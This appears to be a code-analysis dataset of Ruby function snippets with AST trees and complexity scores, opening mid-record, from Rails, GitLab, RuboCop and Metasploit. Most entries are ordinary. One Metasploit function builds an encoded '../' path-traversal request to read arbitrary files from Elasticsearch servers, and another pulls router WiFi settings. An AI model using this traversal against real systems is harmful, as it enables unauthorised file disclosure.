end","complexity_score":35.78,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_multiple\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mgr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pilot\"]},\"TesterManager\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[null,\"create_config\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"input\",{\"type\":\"str\",\"children\":[\"Email address of the tester: \"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"failures\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"address\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"lvar\",\"children\":[\"address\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mgr\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]}]},{\"type\":\"str\",\"children\":[\"]: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failures\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failures\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Some operations failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failures\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}]}","id":"347cddbe-abb4-44c9-9c24-75f067c4534a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/huawei_wifi_info.rb","start_line":166,"raw_source":"def get_router_ssid\n    print_status(\"Gathering device SSID...\")\n\n    res = send_request_raw(\n      {\n        'method' => 'GET',\n        'uri' => '/api/wlan/basic-settings',\n      }\n    )\n\n    # check whether we got any response from server and proceed.\n    unless is_target?(res)\n      return nil\n    end\n\n    resp_body = res.body.to_s\n\n    # Grabbing the Wifi SSID\n    if resp_body.match(/<WifiSsid>(.*)<\\/WifiSsid>/i)\n      return $1\n    end\n\n    nil\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_router_ssid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Gathering device SSID...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/api/wlan/basic-settings\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_target?\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp_body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp_body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<WifiSsid>(.*)</WifiSsid>\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"d33a579a-b2f4-45a9-b9ee-80dac9aae4a4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary.rb","start_line":102,"raw_source":"def register_autofilter_ports(ports=[])\n    @autofilter_ports ||= []\n    @autofilter_ports << ports\n    @autofilter_ports.flatten!\n    @autofilter_ports.uniq!\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"register_autofilter_ports\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"ports\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@autofilter_ports\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@autofilter_ports\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"ports\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@autofilter_ports\"]},\"flatten!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@autofilter_ports\"]},\"uniq!\"]}]}]}","id":"7b73d244-5c04-4236-92a4-493fada96f9a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240701102528_add_last_dormant_member_review_at_to_namespace_settings.rb","start_line":20,"raw_source":"def down\n    with_lock_retries do\n      remove_column :namespace_settings, :last_dormant_member_review_at, if_exists: true\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"namespace_settings\"]},{\"type\":\"sym\",\"children\":[\"last_dormant_member_review_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"1bbd5087-d3e4-44d1-9ebb-69e15a3130ed"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/post/test/meterpreter.rb","start_line":56,"raw_source":"def test_sys_process\n    vprint_status(\"Starting process tests\")\n    pid = nil\n\n    if session.commands.include? Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_GETPID\n      it \"should return its own process id\" do\n        pid = session.sys.process.getpid\n        vprint_status(\"Pid: #{pid}\")\n        true\n      end\n    else\n      print_status(\"Session doesn't implement getpid, skipping test\")\n    end\n\n    it \"should return a list of processes\" do\n      ret = true\n      list = session.sys.process.get_processes\n      ret &&= (list && list.length > 0)\n      if session.commands.include? Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_GETPID\n        pid ||= session.sys.process.getpid\n        process = list.find { |p| p['pid'] == pid }\n        vprint_status(\"PID info: #{process.inspect}\")\n        ret &&= !(process.nil?)\n      else\n        vprint_status(\"Session doesn't implement getpid, skipping sanity check\")\n      end\n\n      ret\n    end\n  end","complexity_score":64.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sys_process\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Starting process tests\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"commands\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Stdapi\"]},\"COMMAND_ID_STDAPI_SYS_PROCESS_GETPID\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"str\",\"children\":[\"should return its own process id\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"getpid\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Pid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Session doesn't implement getpid, skipping test\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"str\",\"children\":[\"should return a list of processes\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"get_processes\"]}]},{\"type\":\"and_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"commands\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Stdapi\"]},\"COMMAND_ID_STDAPI_SYS_PROCESS_GETPID\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"getpid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"process\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pid\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PID info: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"inspect\"]}]}]}]},{\"type\":\"and_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"nil?\"]}]},\"!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Session doesn't implement getpid, skipping sanity check\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}]}]}","id":"c52f82c0-cf78-4977-b4e4-23072d0f97ec"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/ssl_test.rb","start_line":221,"raw_source":"def test_flag_cookies_as_secure_with_ignore_case\n    get headers: { Rack::SET_COOKIE => \"problem=def; path=/; Secure; HttpOnly\" }\n    assert_cookies \"problem=def; path=/; Secure; HttpOnly\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_flag_cookies_as_secure_with_ignore_case\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"SET_COOKIE\"]},{\"type\":\"str\",\"children\":[\"problem=def; path=/; Secure; HttpOnly\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_cookies\",{\"type\":\"str\",\"children\":[\"problem=def; path=/; Secure; HttpOnly\"]}]}]}]}","id":"65b0b9e6-ea9d-41cf-a87d-3a6e248d0f44"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/elasticsearch_traversal.rb","start_line":70,"raw_source":"def read_file(file)\n    travs = '_snapshot/pwn/ev1l%2f'\n\n    payload = '../' * datastore['DEPTH']\n\n    travs << payload.gsub('/', '%2f')\n    travs << file.gsub('/', '%2f')\n\n    vprint_status(\"Retrieving file contents...\")\n\n    res = send_request_raw(\n      'method' => 'GET',\n      'uri' => travs\n    )\n\n    if res && res.code == 400\n      return res.body\n    else\n      print_status(\"Server returned HTTP response code: #{res.code}\")\n      print_status(res.body)\n      return nil\n    end\n  end","complexity_score":24.03,"ast_json":"{\"type\":\"def\",\"children\":[\"read_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"travs\",{\"type\":\"str\",\"children\":[\"_snapshot/pwn/ev1l%2f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"../\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEPTH\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"travs\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"%2f\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"travs\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"%2f\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Retrieving file contents...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"travs\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[400]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Server returned HTTP response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"ce5cc104-45cb-46d0-bfbd-5f82a47aa318"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/content_security_policy/config_loader.rb","start_line":164,"raw_source":"def allow_customersdot(directives)\n          customersdot_host = ENV['CUSTOMER_PORTAL_URL'].presence\n          return unless customersdot_host\n\n          append_to_directive(directives, 'frame_src', customersdot_host)\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_customersdot\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"directives\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"customersdot_host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CUSTOMER_PORTAL_URL\"]}]},\"presence\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"customersdot_host\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"append_to_directive\",{\"type\":\"lvar\",\"children\":[\"directives\"]},{\"type\":\"str\",\"children\":[\"frame_src\"]},{\"type\":\"lvar\",\"children\":[\"customersdot_host\"]}]}]}]}","id":"8caf6dd8-f99b-43d5-8eaf-188899cba713"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations_test.rb","start_line":88,"raw_source":"def test_errors_on_base_with_symbol_message\n    r = Reply.new\n    r.content = \"Mismatch\"\n    r.valid?\n    r.errors.add(:base, :invalid)\n\n    errors = r.errors.to_a.inject([]) { |result, error| result + [error] }\n\n    assert_equal [\"is invalid\"], r.errors[:base]\n\n    assert_includes errors, \"Title is Empty\"\n    assert_includes errors, \"is invalid\"\n\n    assert_equal 2, r.errors.count\n  end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_errors_on_base_with_symbol_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reply\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"content=\",{\"type\":\"str\",\"children\":[\"Mismatch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"valid?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"errors\"]},\"to_a\"]},\"inject\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"is invalid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"base\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"errors\"]},{\"type\":\"str\",\"children\":[\"Title is Empty\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"errors\"]},{\"type\":\"str\",\"children\":[\"is invalid\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"errors\"]},\"count\"]}]}]}]}","id":"e1077bda-0d35-4d3a-bd24-e511e16c99a7"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/result_cache.rb","start_line":52,"raw_source":"def remove_oldest_files(files, dirs, rubocop_cache_dir, verbose)\n        # Add 1 to half the number of files, so that we remove the file if\n        # there's only 1 left.\n        remove_count = (files.length / 2) + 1\n        puts \"Removing the #{remove_count} oldest files from #{rubocop_cache_dir}\" if verbose\n        sorted = files.sort_by { |path| File.mtime(path) }\n        remove_files(sorted, dirs, remove_count)\n      rescue Errno::ENOENT\n        # This can happen if parallel RuboCop invocations try to remove the\n        # same files. No problem.\n        puts $ERROR_INFO if verbose\n      end","complexity_score":18.05,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_oldest_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"files\"]},{\"type\":\"arg\",\"children\":[\"dirs\"]},{\"type\":\"arg\",\"children\":[\"rubocop_cache_dir\"]},{\"type\":\"arg\",\"children\":[\"verbose\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remove_count\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"length\"]},\"/\",{\"type\":\"int\",\"children\":[2]}]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verbose\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing the \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remove_count\"]}]},{\"type\":\"str\",\"children\":[\" oldest files from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rubocop_cache_dir\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sorted\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"mtime\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_files\",{\"type\":\"lvar\",\"children\":[\"sorted\"]},{\"type\":\"lvar\",\"children\":[\"dirs\"]},{\"type\":\"lvar\",\"children\":[\"remove_count\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verbose\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"gvar\",\"children\":[\"$ERROR_INFO\"]}]},null]}]},null]}]}","id":"d9ff5299-a78f-4e65-a0cf-4d79accad2a2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/structured_event_subscriber_test.rb","start_line":87,"raw_source":"def test_cached_queries\n      assert_event_reported(\"active_record.sql\", payload: {\n        name: \"Developer Load\",\n        sql: /SELECT .*?FROM .?developers.?/i,\n        cached: true,\n      }) do\n        ActiveRecord::Base.cache do\n          Developer.all.load\n          Developer.all.load\n        end\n      end\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cached_queries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"active_record.sql\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Developer Load\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT .*?FROM .?developers.?\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"all\"]},\"load\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"all\"]},\"load\"]}]}]}]}]}","id":"d8647d21-02dd-4eec-ba5e-797cb27edaaa"}
